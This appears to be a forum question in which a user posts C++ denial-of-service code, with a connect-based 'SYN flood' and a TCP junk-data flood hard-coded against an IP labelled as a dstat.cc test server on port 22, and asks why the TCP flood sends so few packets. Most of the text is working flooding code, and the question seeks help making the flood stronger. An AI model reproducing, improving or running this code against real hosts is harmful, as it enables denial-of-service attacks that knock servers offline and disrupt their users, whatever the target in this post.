I’m trying to flood a server placed on dstat.cc, but it doesn’t work as i expected.

Here’s the code

#include <iostream>
#include <thread>
#include <vector>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <csignal>
#include <cstring>

std::string dest_ip;

unsigned int dest_port;
unsigned int junk_length = 5;
unsigned int thread_count = 1;

sockaddr_in dest;
timeval timeout;

std::string alphanum = "0123456789"
        "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
        "abcdefghijklmnopqrstuvwxyz";
int alphanum_size = alphanum.length();

// helpers

std::string rand_str(int length)
{
    std::string result;
    for (int i = 0; i < length; i++) result += alphanum[rand() % (alphanum_size - 1)];
    return result;
}

/* ------------------------- flood methods ------------------------- */

// ------- //

// do not require special privileges
void syn_flood()
{
    while (true)
    {
        int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (sockfd < 0) std::cerr << "nSocket creation error. Errno: " << errno;
        setsockopt(sockfd, SOL_SOCKET, SO_SNDTIMEO, &timeout, sizeof(timeout));
        int connection_status = connect(sockfd, (sockaddr*) &dest, sizeof(dest));
        close(sockfd);
    }
}

// ------- //

void tcp_flood()
{
    while (true)
    {
        int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        int connection_status = connect(sockfd, (sockaddr*) &dest, sizeof(dest));
    
        if (connection_status == 0)
        {
            while (true)
            {
                std::string junk = rand_str(junk_length);
                send(sockfd, junk.c_str(), junk.length(), 0);
            }
        }
        else 
        {
            close(sockfd);
            std::cout << "Connection error. Errno: " << errno;
            exit(1);
        }
    }
}

// ------- //

/* ----------------------------------------------------------------- */

int main(int argc, char* argv[])
{
    /* startup */
    dest_ip = "168.119.255.140"; // dstat.cc Live Layer 4 - Protected - Hetzner - 1 IP
    dest_port = 22; // target TCP port.

    dest.sin_family = AF_INET;
    dest.sin_port = htons(dest_port);
    inet_pton(AF_INET, dest_ip.c_str(), &dest.sin_addr);

    // timeout.tv_sec = 0; setting minimal timeout for syn_flood function
    // timeout.tv_usec = 1;
    // syn_flood();

    tcp_flood();

    return 0;
}

the syn_flood works fine and generates 1k packets per second on the graph. But the tcp_flood generates practically nothing. I mean, it generates 30 packets per second or something but it’s really weird because I have a normal network connection.

Before this, I tried other tools (including my own written on C#), and flood like this worked fine.

Also, the problem occurs whenever i try to send raw tcp packet with raw socket. It just don’t show up on the graph in dstat.cc.

What even is the problem?